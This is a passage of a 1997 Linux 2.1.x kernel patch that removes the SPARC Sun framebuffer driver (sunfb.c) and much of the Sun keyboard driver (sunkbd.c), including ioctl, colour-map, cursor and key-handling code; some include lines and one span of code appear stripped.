0x00,0x00,0x00,0x00,0x00,0x7e,0xd8,0xd8,0xd8,0xd8,0xd8,0x70,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x66,0x66,0x66,0x66,0x66,0x7c,0x60,0x60,0xc0,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x76,0xdc,0x18,0x18,0x18,0x18,0x18,0x18,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x7e,0x18,0x3c,0x66,0x66,0x66,0x3c,0x18,0x7e,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x38,0x6c,0xc6,0xc6,0xfe,0xc6,0xc6,0x6c,0x38,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x38,0x6c,0xc6,0xc6,0xc6,0x6c,0x6c,0x6c,0x6c,0xee,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x1e,0x30,0x18,0x0c,0x3e,0x66,0x66,0x66,0x66,0x3c,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x00,0x7e,0xdb,0xdb,0xdb,0x7e,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x03,0x06,0x7e,0xdb,0xdb,0xf3,0x7e,0x60,0xc0,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x1c,0x30,0x60,0x60,0x7c,0x60,0x60,0x60,0x30,0x1c,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0xfe,0x00,0x00,0xfe,0x00,0x00,0xfe,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x18,0x18,0x7e,0x18,0x18,0x00,0x00,0xff,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x30,0x18,0x0c,0x06,0x0c,0x18,0x30,0x00,0x7e,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x0c,0x18,0x30,0x60,0x30,0x18,0x0c,0x00,0x7e,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x0e,0x1b,0x1b,0x1b,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, -/* */ 0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xd8,0xd8,0xd8,0x70,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x18,0x18,0x00,0x7e,0x00,0x18,0x18,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x00,0x76,0xdc,0x00,0x76,0xdc,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x38,0x6c,0x6c,0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x18,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x0f,0x0c,0x0c,0x0c,0x0c,0x0c,0xec,0x6c,0x6c,0x3c,0x1c,0x00,0x00,0x00,0x00, -/* */ 0x00,0xd8,0x6c,0x6c,0x6c,0x6c,0x6c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x70,0xd8,0x30,0x60,0xc8,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x00,0x00,0x00,0x00,0x00, -/* */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -}; diff -u --recursive --new-file linux-2.1.29/drivers/sbus/char/sunfb.c linux/drivers/sbus/char/sunfb.c --- linux-2.1.29/drivers/sbus/char/sunfb.c Sat May 10 18:17:11 1997 +++ linux/drivers/sbus/char/sunfb.c Wed Dec 31 19:00:00 1969 @@ -1,317 +0,0 @@ -/* $Id: sunfb.c,v 1.20 1997/01/26 07:13:40 davem Exp $ - * sunfb.c: Sun generic frame buffer support. - * - * Copyright (C) 1995, 1996 Miguel de Icaza (miguel@nuclecu.unam.mx) - * Copyright (C) 1995 David S. Miller (davem@caip.rutgers.edu) - * - * Added getcmap ioctl, may, 96 - * Support for multiple fbs, sep, 96 - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include /* for the sun4c_nocache */ - -#include "../../char/kbd_kern.h" -#include "../../char/vt_kern.h" -#include "../../char/consolemap.h" -#include "../../char/selection.h" -#include "../../char/console_struct.h" - -#include "fb.h" - -extern void set_other_palette (int); -extern void sun_clear_fb(int); -extern void set_cursor (int); - -#define FB_SETUP(err) \ - int minor = FB_DEV (inode->i_rdev); \ -\ - if (minor >= fbinfos || \ - fbinfo [minor].type.fb_type == FBTYPE_NOTYPE) \ - return -(err); - -static int -fb_open (struct inode * inode, struct file * file) -{ - FB_SETUP(EBADF) - if (fbinfo [minor].open) - return -EBUSY; - fbinfo [minor].mmaped = 0; - fbinfo [minor].open = 1; - return 0; -} - -static int -fb_ioctl (struct inode *inode, struct file *file, uint cmd, unsigned long arg) -{ - fbinfo_t *fb; - struct fbcmap *cmap; - int i; - FB_SETUP(EBADF) - - fb = &fbinfo [minor]; - - switch (cmd){ - case FBIOGTYPE: /* return frame buffer type */ - copy_to_user_ret((struct fbtype *)arg, &fb->type, sizeof(struct fbtype), -EFAULT); - break; - case FBIOGATTR:{ - struct fbgattr *fba = (struct fbgattr *) arg; - - i = verify_area (VERIFY_WRITE, (void *) arg, sizeof (struct fbgattr)); - if (i) return i; - __put_user_ret(fb->real_type, &fba->real_type, -EFAULT); - __put_user_ret(0, &fba->owner, -EFAULT); - __copy_to_user_ret(&fba->fbtype, &fb->type, - sizeof(struct fbtype), -EFAULT); - __put_user_ret(0, &fba->sattr.flags, -EFAULT); - __put_user_ret(fb->type.fb_type, &fba->sattr.emu_type, -EFAULT); - __put_user_ret(-1, &fba->sattr.dev_specific[0], -EFAULT); - __put_user_ret(fb->type.fb_type, &fba->emu_types[0], -EFAULT); - for (i = 1; i < 4; i++) - put_user_ret(fb->emulations[i], &fba->emu_types[i], -EFAULT); - break; - } - case FBIOSATTR: - i = verify_area (VERIFY_READ, (void *) arg, sizeof (struct fbsattr)); - if (i) return i; - return -EINVAL; - case FBIOSVIDEO: - if (fb == fbinfo && vt_cons[fg_console]->vc_mode == KD_TEXT) - break; - get_user_ret(i, (int *)arg, -EFAULT); - if (i){ - if (!fb->blanked || !fb->unblank) - break; - if (!minor || (fb->open && fb->mmaped)) - (*fb->unblank)(fb); - fb->blanked = 0; - } else { - if (fb->blanked || !fb->blank) - break; - (*fb->blank)(fb); - fb->blanked = 1; - } - break; - case FBIOGVIDEO: - put_user_ret(fb->blanked, (int *) arg, -EFAULT); - break; - case FBIOGETCMAP: { - char *rp, *gp, *bp; - int end, count, index; - - if (!fb->loadcmap) - return -EINVAL; - i = verify_area (VERIFY_READ, (void *) arg, sizeof (struct fbcmap)); - if (i) return i; - cmap = (struct fbcmap *) arg; - __get_user_ret(count, &cmap->count, -EFAULT); - __get_user_ret(index, &cmap->index, -EFAULT); - if ((index < 0) || (index > 255)) - return -EINVAL; - if (index + count > 256) - count = 256 - cmap->index; - __get_user_ret(rp, &cmap->red, -EFAULT); - __get_user_ret(gp, &cmap->green, -EFAULT); - __get_user_ret(bp, &cmap->blue, -EFAULT); - if(verify_area (VERIFY_WRITE, rp, count)) return -EFAULT; - if(verify_area (VERIFY_WRITE, gp, count)) return -EFAULT; - if(verify_area (VERIFY_WRITE, bp, count)) return -EFAULT; - end = index + count; - for (i = index; i < end; i++){ - __put_user_ret(fb->color_map CM(i,0), rp, -EFAULT); - __put_user_ret(fb->color_map CM(i,1), gp, -EFAULT); - __put_user_ret(fb->color_map CM(i,2), bp, -EFAULT); - rp++; gp++; bp++; - } - (*fb->loadcmap)(fb, cmap->index, count); - break; - - } - case FBIOPUTCMAP: { /* load color map entries */ - char *rp, *gp, *bp; - int end, count, index; - - if (!fb->loadcmap) - return -EINVAL; - i = verify_area (VERIFY_READ, (void *) arg, sizeof (struct fbcmap)); - if (i) return i; - cmap = (struct fbcmap *) arg; - __get_user_ret(count, &cmap->count, -EFAULT); - __get_user_ret(index, &cmap->index, -EFAULT); - if ((index < 0) || (index > 255)) - return -EINVAL; - if (index + count > 256) - count = 256 - cmap->index; - __get_user_ret(rp, &cmap->red, -EFAULT); - __get_user_ret(gp, &cmap->green, -EFAULT); - __get_user_ret(bp, &cmap->blue, -EFAULT); - if(verify_area (VERIFY_READ, rp, cmap->count)) return -EFAULT; - if(verify_area (VERIFY_READ, gp, cmap->count)) return -EFAULT; - if(verify_area (VERIFY_READ, bp, cmap->count)) return -EFAULT; - - end = index + count; - for (i = index; i < end; i++){ - __get_user_ret(fb->color_map CM(i,0), rp, -EFAULT); - __get_user_ret(fb->color_map CM(i,1), gp, -EFAULT); - __get_user_ret(fb->color_map CM(i,2), bp, -EFAULT); - rp++; gp++; bp++; - } - (*fb->loadcmap)(fb, cmap->index, count); - break; - } - - case FBIOGCURMAX: { - struct fbcurpos *p = (struct fbcurpos *) arg; - if (!fb->setcursor) return -EINVAL; - if(verify_area (VERIFY_WRITE, p, sizeof (struct fbcurpos))) - return -EFAULT; - __put_user_ret(fb->cursor.hwsize.fbx, &p->fbx, -EFAULT); - __put_user_ret(fb->cursor.hwsize.fby, &p->fby, -EFAULT); - break; - } - case FBIOSCURSOR: - if (!fb->setcursor) return -EINVAL; - if (fb == fbinfo) { - if (vt_cons[fg_console]->vc_mode == KD_TEXT) - return -EINVAL; /* Don't let graphics programs hide our nice text cursor */ - sun_hw_cursor_shown = 0; /* Forget state of our text cursor */ - } - return sun_hw_scursor ((struct fbcursor *) arg, fb); - - case FBIOSCURPOS: - if (!fb->setcursor) return -EINVAL; - /* Don't let graphics programs move our nice text cursor */ - if (fb == fbinfo) { - if (vt_cons[fg_console]->vc_mode == KD_TEXT) - return -EINVAL; /* Don't let graphics programs move our nice text cursor */ - } - i= verify_area (VERIFY_READ, (void *) arg, sizeof (struct fbcurpos)); - if (i) return i; - fb->cursor.cpos = *(struct fbcurpos *)arg; - (*fb->setcursor) (fb); - break; - - default: - if (fb->ioctl){ - i = fb->ioctl (inode, file, cmd, arg, fb); - if (i == -ENOSYS) { - printk ("[[FBIO: %8.8x]]\n", cmd); - return -EINVAL; - } - return i; - } - printk ("[[FBIO: %8.8x]]\n", cmd); - return -EINVAL; - } - return 0; -} - -static int -fb_close (struct inode * inode, struct file *filp) -{ - fbinfo_t *fb; - struct fbcursor cursor; - FB_SETUP(EBADF) - - fb = &fbinfo[minor]; - - if (!minor) - vt_cons [fb->vtconsole]->vc_mode = KD_TEXT; - - /* Leaving graphics mode, turn off the cursor */ - if (fb->mmaped) - sun_clear_fb (minor); - cursor.set = FB_CUR_SETCUR; - cursor.enable = 0; - - /* Reset the driver */ - if (fb->reset) - fb->reset(fb); - - if (fb->open) - fb->open = 0; - fb_ioctl (inode, filp, FBIOSCURPOS, (unsigned long) &cursor); - set_other_palette (minor); - if (!minor) { - render_screen (); - set_cursor (fg_console); - } else if (fb->blank) - (*fb->blank)(fb); - return 0; -} - -static int -fb_mmap (struct inode *inode, struct file *file, struct vm_area_struct *vma) -{ - fbinfo_t *fb; - FB_SETUP(ENXIO) - - fb = &fbinfo [minor]; - - if (fb->mmap){ - int v; - - v = (*fb->mmap)(inode, file, vma, fb->base, fb); - if (v) return v; - if (!fb->mmaped) { - fb->mmaped = 1; - if (!minor) { - fb->vtconsole = fg_console; - vt_cons [fg_console]->vc_mode = KD_GRAPHICS; - } else { - if (fb->unblank && !fb->blanked) - (*fb->unblank)(fb); - } - } - return 0; - } else - return -ENXIO; -} - -static struct file_operations graphdev_fops = -{ - NULL, /* lseek */ - NULL, /* read */ - NULL, /* write */ - NULL, /* readdir */ - NULL, /* poll */ - fb_ioctl, - fb_mmap, - fb_open, /* open */ - (void(*)(struct inode *, struct file *)) - fb_close, /* close */ -}; - -__initfunc(int fb_init (void)) -{ - /* Register the frame buffer device */ - if (register_chrdev (GRAPHDEV_MAJOR, "graphics", &graphdev_fops)){ - printk ("Could not register graphics device\n"); - return -EIO; - } - return 0; /* success */ -} diff -u --recursive --new-file linux-2.1.29/drivers/sbus/char/sunkbd.c linux/drivers/sbus/char/sunkbd.c --- linux-2.1.29/drivers/sbus/char/sunkbd.c Sat May 10 18:17:11 1997 +++ linux/drivers/sbus/char/sunkbd.c Wed Dec 31 19:00:00 1969 @@ -1,1416 +0,0 @@ -/* keyboard.c: Sun keyboard driver. - * - * Copyright (C) 1995 David S. Miller (davem@caip.rutgers.edu) - * Added vuid event generation and /dev/kbd device for SunOS - * compatibility - Miguel (miguel@nuclecu.unam.mx) - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include - -#include "../../char/kbd_kern.h" -#include "../../char/diacr.h" -#include "../../char/vt_kern.h" - -#define SIZE(x) (sizeof(x)/sizeof((x)[0])) - -/* Define this one if you are making a new frame buffer driver */ -/* it will not block the keyboard */ -/* #define CODING_NEW_DRIVER */ - -/* KBD device number, temporal */ -#define KBD_MAJOR 11 - -#define KBD_REPORT_ERR -#define KBD_REPORT_UNKN - -#ifndef KBD_DEFMODE -#define KBD_DEFMODE ((1 << VC_REPEAT) | (1 << VC_META)) -#endif - -#ifndef KBD_DEFLEDS -/* - * Some laptops take the 789uiojklm,. keys as number pad when NumLock - * is on. This seems a good reason to start with NumLock off. - */ -#define KBD_DEFLEDS 0 -#endif - -#ifndef KBD_DEFLOCK -#define KBD_DEFLOCK 0 -#endif - -extern void poke_blanked_console(void); -extern void ctrl_alt_del(void); -extern void reset_vc(unsigned int new_console); -extern void scrollback(int); -extern void scrollfront(int); - -unsigned char kbd_read_mask = 0x01; /* modified by psaux.c */ -unsigned char aux_device_present = 0x00; /* To make kernel/ksyms.c happy */ - -/* - * global state includes the following, and various static variables - * in this module: prev_scancode, shift_state, diacr, npadch, dead_key_next. - * (last_console is now a global variable) - */ - -/* shift state counters.. */ -static unsigned char k_down[NR_SHIFT] = {0, }; -/* keyboard key bitmap */ -#define BITS_PER_LONG (8*sizeof(unsigned long)) -static unsigned long key_down[256/BITS_PER_LONG] = { 0, }; - -void push_kbd (int scan); -int kbd_redirected = 0; - -static int dead_key_next = 0; -/* - * In order to retrieve the shift_state (for the mouse server), either - * the variable must be global, or a new procedure must be created to - * return the value. I chose the former way. - */ -/*static*/ int shift_state = 0; -static int npadch = -1; /* -1 or number assembled on pad */ -static unsigned char diacr = 0; -static char rep = 0; /* flag telling character repeat */ -struct kbd_struct kbd_table[MAX_NR_CONSOLES]; -static struct tty_struct **ttytab; -static struct kbd_struct * kbd = kbd_table; -static struct tty_struct * tty = NULL; -static int compose_led_on = 0; - -extern void compute_shiftstate(void); - -typedef void (*k_hand)(unsigned char value, char up_flag); -typedef void (k_handfn)(unsigned char value, char up_flag); - -static k_handfn - do_self, do_fn, do_spec, do_pad, do_dead, do_cons, do_cur, do_shift, - do_meta, do_ascii, do_lock, do_lowercase, do_ignore; - -static k_hand key_handler[16] = { - do_self, do_fn, do_spec, do_pad, do_dead, do_cons, do_cur, do_shift, - do_meta, do_ascii, do_lock, do_lowercase, - do_ignore, do_ignore, do_ignore, do_ignore -}; - -typedef void (*void_fnp)(void); -typedef void (void_fn)(void); - -static void_fn do_null, enter, show_ptregs, send_intr, lastcons, caps_toggle, - num, hold, scroll_forw, scroll_back, boot_it, caps_on, compose, - SAK, decr_console, incr_console, spawn_console, bare_num; - -static void_fnp spec_fn_table[] = { - do_null, enter, show_ptregs, show_mem, - show_state, send_intr, lastcons, caps_toggle, - num, hold, scroll_forw, scroll_back, - boot_it, caps_on, compose, SAK, - decr_console, incr_console, spawn_console, bare_num -}; - -/* maximum values each key_handler can handle */ -const int max_vals[] = { - 255, SIZE(func_table) - 1, SIZE(spec_fn_table) - 1, NR_PAD - 1, - NR_DEAD - 1, 255, 3, NR_SHIFT - 1, - 255, NR_ASCII - 1, NR_LOCK - 1, 255 -}; - -const int NR_TYPES = SIZE(max_vals); - -static void put_queue(int); -static unsigned char handle_diacr(unsigned char); - -/* pt_regs - set by keyboard_interrupt(), used by show_ptregs() */ -static struct pt_regs * pt_regs; - -volatile unsigned char sunkbd_layout; -volatile unsigned char sunkbd_type; -#define SUNKBD_TYPE2 0x02 -#define SUNKBD_TYPE3 0x03 -#define SUNKBD_TYPE4 0x04 - -#define SUNKBD_LOUT_TYP4 0x00 -#define SUNKBD_LOUT_TYP5_MASK 0x20 - -volatile int kbd_reset_pending; -volatile int kbd_layout_pending; - -/* commands */ -#define SKBDCMD_RESET 0x1 -#define SKBDCMD_GLAYOUT 0xf -#define SKBDCMD_BELLON 0x2 -#define SKBDCMD_BELLOFF 0x3 -#define SKBDCMD_SETLED 0xe -#define SKBDCMD_NOCLICK 0xb -#define SKBDCMD_CLICK 0xa - -static unsigned char sunkbd_clickp; - -/* The led set commands require sending the SETLED byte then - * a byte encoding which led's to have set. Here are the bit - * values, a bit set = led-on. - */ -#define LED_NLOCK 0x1 /* Num-lock */ -#define LED_CMPOSE 0x2 /* Compose */ -#define LED_SCRLCK 0x4 /* Scroll-lock */ -#define LED_CLOCK 0x8 /* Caps-lock */ - -/* Special state characters */ -#define SKBD_RESET 0xff -#define SKBD_ALLUP 0x7f -#define SKBD_LYOUT 0xfe - -/* On the Sparc the keyboard could be one of two things. - * It could be a real keyboard speaking over one of the - * channels of the second zs8530 chip (other channel is - * used by the Sun mouse). Else we have serial console - * going, and thus the other zs8530 chip is who we speak - * to. Either way, we communicate through the zs8530 - * driver for all our I/O. - */ - -#define SUNKBD_UBIT 0x80 /* If set, key went up */ -#define SUNKBD_KMASK 0x7f /* Other bits are the keycode */ - -#define KEY_LSHIFT 0x81 -#define KEY_RSHIFT 0x82 -#define KEY_CONTROL 0x83 -#define KEY_NILL 0x84 -#define KEY_CAPSLOCK 0x85 -#define KEY_ALT 0x86 -#define KEY_L1 0x87 - -extern void kbd_put_char(unsigned char ch); -static inline void send_cmd(unsigned char c) -{ - kbd_put_char(c); -} - -/* kbd_bh() calls this to send the SKBDCMD_SETLED to the sun keyboard - * with the proper bit pattern for the leds to be set. It basically - * converts the kbd->ledflagstate values to corresponding sun kbd led - * bit value. - */ -static inline unsigned char vcleds_to_sunkbd(unsigned char vcleds) -{ - unsigned char retval = 0; - - if(vcleds & (1< 255 || keycode > 127) - return -EINVAL; - if (scancode < 128) - high_keys[scancode - SC_LIM] = keycode; - else - e0_keys[scancode - 128] = keycode; - return 0; -} - -int getkeycode(unsigned int scancode) -{ - return - (scancode < SC_LIM || scancode > 255) ? -EINVAL : - (scancode < 128) ? high_keys[scancode - SC_LIM] : - e0_keys[scancode - 128]; -} - -void sunkbd_inchar(unsigned char ch, unsigned char status, struct pt_regs *regs); -static void keyboard_timer (unsigned long ignored); - -static struct timer_list -auto_repeat_timer = { NULL, NULL, 0, 0, keyboard_timer }; - -/* Keeps track of the last pressed key */ -static unsigned char last_keycode; - -static void -keyboard_timer (unsigned long ignored) -{ - unsigned long flags; - - save_flags(flags); cli(); - - /* Auto repeat: send regs = 0 to indicate autorepeat */ - sunkbd_inchar (last_keycode, 0, 0); - del_timer (&auto_repeat_timer); - auto_repeat_timer.expires = jiffies + HZ/20; - add_timer (&auto_repeat_timer); - restore_flags(flags); -} - -/* #define SKBD_DEBUG */ -/* This is our keyboard 'interrupt' routine. */ -void sunkbd_inchar(unsigned char ch, unsigned char status, struct pt_regs *regs) -{ - unsigned char keycode; - char up_flag; /* 0 or SUNKBD_UBIT */ - char raw_mode; - - if(ch == SKBD_RESET) { - kbd_reset_pending = 1; - return; - } - if(ch == SKBD_LYOUT) { - kbd_layout_pending = 1; - return; - } - if(kbd_reset_pending) { - sunkbd_type = ch; - kbd_reset_pending = 0; - if(ch == SUNKBD_TYPE4) - send_cmd(SKBDCMD_GLAYOUT); - return; - } else if(kbd_layout_pending) { - sunkbd_layout = ch; - kbd_layout_pending = 0; - return; - } else if(ch == SKBD_ALLUP) { - del_timer (&auto_repeat_timer); - memset(key_down, 0, sizeof(key_down)); - compute_shiftstate(); - return; - } -#ifdef SKBD_DEBUG - if(ch == 0x7f) - printk("KBD"); - else - printk("KBD<%x %s>", ch, - ((ch&0x80) ? "UP" : "DOWN")); -#endif - - /* Whee, a real character. */ - if(regs) { - pt_regs = regs; - last_keycode = keycode = ch; - } else { - keycode = ch; - } - add_keyboard_randomness(keycode); - - mark_bh(KEYBOARD_BH); - do_poke_blanked_console = 1; - mark_bh(CONSOLE_BH); - kbd = kbd_table + fg_console; - tty = ttytab[fg_console]; - if((raw_mode = (kbd->kbdmode == VC_RAW))) { - if (kbd_redirected == fg_console+1) - push_kbd (keycode); - else - put_queue(keycode); - /* we do not return yet, because we want to maintain - * the key_down array, so that we have the correct - * values when finishing RAW mode or when changing VT's. - */ - } - up_flag = (keycode & SUNKBD_UBIT); /* The 'up' bit */ - keycode &= SUNKBD_KMASK; /* all the rest */ - del_timer (&auto_repeat_timer); - if(up_flag) { - rep = 0; - clear_bit(keycode, key_down); - } else { - if (!norepeat_keys[keycode]) { - auto_repeat_timer.expires = jiffies+HZ/5; - add_timer (&auto_repeat_timer); - } - rep = set_bit(keycode, key_down); - } - - if(raw_mode) - return; - - if(kbd->kbdmode == VC_MEDIUMRAW) { - put_queue(keycode + up_flag); - return; - } - - /* - * Small change in philosophy: earlier we defined repetition by - * rep = keycode == prev_keycode; - * prev_keycode = keycode; - * but now by the fact that the depressed key was down already. - * Does this ever make a difference? Yes. - */ - - /* - * Repeat a key only if the input buffers are empty or the - * characters get echoed locally. This makes key repeat usable - * with slow applications and under heavy loads. - */ - if (!rep || - (vc_kbd_mode(kbd,VC_REPEAT) && tty && - (L_ECHO(tty) || (tty->driver.chars_in_buffer(tty) == 0)))) { - u_short keysym; - u_char type; - - /* the XOR below used to be an OR */ - int shift_final = shift_state ^ kbd->lockstate; - ushort *key_map = key_maps[shift_final]; - - if (key_map != NULL) { - keysym = key_map[keycode]; - type = KTYP(keysym); - - if (type >= 0xf0) { - type -= 0xf0; - if (type == KT_LETTER) { - type = KT_LATIN; - if (vc_kbd_led(kbd, VC_CAPSLOCK)) { - key_map = key_maps[shift_final ^ (1<slockstate = 0; - } - } else { - /* maybe beep? */ - /* we have at least to update shift_state */ - compute_shiftstate(); - } - } -} - -static void put_queue(int ch) -{ - wake_up(&keypress_wait); - if (tty) { - tty_insert_flip_char(tty, ch, 0); - tty_schedule_flip(tty); - } -} - -static void puts_queue(char *cp) -{ - wake_up(&keypress_wait); - if (!tty) - return; - - while (*cp) { - tty_insert_flip_char(tty, *cp, 0); - cp++; - } - tty_schedule_flip(tty); -} - -static void applkey(int key, char mode) -{ - static char buf[] = { 0x1b, 'O', 0x00, 0x00 }; - - buf[1] = (mode ? 'O' : '['); - buf[2] = key; - puts_queue(buf); -} - -static void enter(void) -{ - put_queue(13); - if (vc_kbd_mode(kbd,VC_CRLF)) - put_queue(10); -} - -static void caps_toggle(void) -{ - if (rep) - return; - chg_vc_kbd_led(kbd, VC_CAPSLOCK); -} - -static void caps_on(void) -{ - if (rep) - return; - set_vc_kbd_led(kbd, VC_CAPSLOCK); -} - -static void show_ptregs(void) -{ - if (pt_regs) - show_regs(pt_regs); -} - -static void hold(void) -{ - if (rep || !tty) - return; - - /* - * Note: SCROLLOCK will be set (cleared) by stop_tty (start_tty); - * these routines are also activated by ^S/^Q. - * (And SCROLLOCK can also be set by the ioctl KDSKBLED.) - */ - if (tty->stopped) - start_tty(tty); - else - stop_tty(tty); -} - -static void num(void) -{ - if (vc_kbd_mode(kbd,VC_APPLIC)) - applkey('P', 1); - else - bare_num(); -} - -/* - * Bind this to Shift-NumLock if you work in application keypad mode - * but want to be able to change the NumLock flag. - * Bind this to NumLock if you prefer that the NumLock key always - * changes the NumLock flag. - */ -static void bare_num(void) -{ - if (!rep) - chg_vc_kbd_led(kbd,VC_NUMLOCK); -} - -static void lastcons(void) -{ - /* switch to the last used console, ChN */ - set_console(last_console); -} - -static void decr_console(void) -{ - int i; - - for (i = fg_console-1; i != fg_console; i--) { - if (i == -1) - i = MAX_NR_CONSOLES-1; - if (vc_cons_allocated(i)) - break; - } - set_console(i); -} - -static void incr_console(void) -{ - int i; - - for (i = fg_console+1; i != fg_console; i++) { - if (i == MAX_NR_CONSOLES) - i = 0; - if (vc_cons_allocated(i)) - break; - } - set_console(i); -} - -static void send_intr(void) -{ - if (!tty) - return; - tty_insert_flip_char(tty, 0, TTY_BREAK); - tty_schedule_flip(tty); -} - -static void scroll_forw(void) -{ - scrollfront(0); -} - -static void scroll_back(void) -{ - scrollback(0); -} - -static void boot_it(void) -{ - extern int obp_system_intr(void); - - if (!obp_system_intr()) - ctrl_alt_del(); - /* sigh.. attempt to prevent multiple entry */ - last_keycode=1; - rep = 0; -} - -static void compose(void) -{ - dead_key_next = 1; - compose_led_on = 1; - set_leds(); -} - -int spawnpid, spawnsig; - -static void spawn_console(void) -{ - if (spawnpid) - if(kill_proc(spawnpid, spawnsig, 1)) - spawnpid = 0; -} - -static void SAK(void) -{ - do_SAK(tty); -#if 0 - /* - * Need to fix SAK handling to fix up RAW/MEDIUM_RAW and - * vt_cons modes before we can enable RAW/MEDIUM_RAW SAK - * handling. - * - * We should do this some day --- the whole point of a secure - * attention key is that it should be guaranteed to always - * work. - */ - reset_vc(fg_console); - do_unblank_screen(); /* not in interrupt routine? */ -#endif -} - -static void do_ignore(unsigned char value, char up_flag) -{ -} - -static void do_null() -{ - compute_shiftstate(); -} - -static void do_spec(unsigned char value, char up_flag) -{ - if (up_flag) - return; - if (value >= SIZE(spec_fn_table)) - return; - spec_fn_table[value](); -} - -static void do_lowercase(unsigned char value, char up_flag) -{ - printk("keyboard.c: do_lowercase was called - impossible\n"); -} - -static void do_self(unsigned char value, char up_flag) -{ - if (up_flag) - return; /* no action, if this is a key release */ - - if (diacr) { - value = handle_diacr(value); - compose_led_on = 0; - set_leds(); - } - - if (dead_key_next) { - dead_key_next = 0; - diacr = value; - return; - } - - put_queue(value); -} - -#define A_GRAVE '`' -#define A_ACUTE '\'' -#define A_CFLEX '^' -#define A_TILDE '~' -#define A_DIAER '"' -#define A_CEDIL ',' -static unsigned char ret_diacr[NR_DEAD] = - {A_GRAVE, A_ACUTE, A_CFLEX, A_TILDE, A_DIAER, A_CEDIL }; - -/* If a dead key pressed twice, output a character corresponding to it, */ -/* otherwise just remember the dead key. */ - -static void do_dead(unsigned char value, char up_flag) -{ - if (up_flag) - return; - - value = ret_diacr[value]; - if (diacr == value) { /* pressed twice */ - diacr = 0; - put_queue(value); - return; - } - diacr = value; -} - - -/* If space is pressed, return the character corresponding the pending */ -/* dead key, otherwise try to combine the two. */ - -unsigned char handle_diacr(unsigned char ch) -{ - int d = diacr; - int i; - - diacr = 0; - if (ch == ' ') - return d; - - for (i = 0; i < accent_table_size; i++) { - if (accent_table[i].diacr == d && accent_table[i].base == ch) - return accent_table[i].result; - } - - put_queue(d); - return ch; -} - -static void do_cons(unsigned char value, char up_flag) -{ - if (up_flag) - return; - set_console(value); -} - -static void do_fn(unsigned char value, char up_flag) -{ - if (up_flag) - return; - if (value < SIZE(func_table)) { - if (func_table[value]) - puts_queue(func_table[value]); - } else - printk("do_fn called with value=%d\n", value); -} - -static void do_pad(unsigned char value, char up_flag) -{ - static const char *pad_chars = "0123456789+-*/\015,.?"; - static const char *app_map = "pqrstuvwxylSRQMnn?"; - - if (up_flag) - return; /* no action, if this is a key release */ - - /* kludge... shift forces cursor/number keys */ - if (vc_kbd_mode(kbd,VC_APPLIC) && !k_down[KG_SHIFT]) { - applkey(app_map[value], 1); - return; - } - - if (!vc_kbd_led(kbd,VC_NUMLOCK)) - switch (value) { - case KVAL(K_PCOMMA): - case KVAL(K_PDOT): - do_fn(KVAL(K_REMOVE), 0); - return; - case KVAL(K_P0): - do_fn(KVAL(K_INSERT), 0); - return; - case KVAL(K_P1): - do_fn(KVAL(K_SELECT), 0); - return; - case KVAL(K_P2): - do_cur(KVAL(K_DOWN), 0); - return; - case KVAL(K_P3): - do_fn(KVAL(K_PGDN), 0); - return; - case KVAL(K_P4): - do_cur(KVAL(K_LEFT), 0); - return; - case KVAL(K_P6): - do_cur(KVAL(K_RIGHT), 0); - return; - case KVAL(K_P7): - do_fn(KVAL(K_FIND), 0); - return; - case KVAL(K_P8): - do_cur(KVAL(K_UP), 0); - return; - case KVAL(K_P9): - do_fn(KVAL(K_PGUP), 0); - return; - case KVAL(K_P5): - applkey('G', vc_kbd_mode(kbd, VC_APPLIC)); - return; - } - - put_queue(pad_chars[value]); - if (value == KVAL(K_PENTER) && vc_kbd_mode(kbd, VC_CRLF)) - put_queue(10); -} - -static void do_cur(unsigned char value, char up_flag) -{ - static const char *cur_chars = "BDCA"; - if (up_flag) - return; - - applkey(cur_chars[value], vc_kbd_mode(kbd,VC_CKMODE)); -} - -static void do_shift(unsigned char value, char up_flag) -{ - int old_state = shift_state; - - if (rep) - return; - - /* Mimic typewriter: - a CapsShift key acts like Shift but undoes CapsLock */ - if (value == KVAL(K_CAPSSHIFT)) { - value = KVAL(K_SHIFT); - if (!up_flag) - clr_vc_kbd_led(kbd, VC_CAPSLOCK); - } - - if 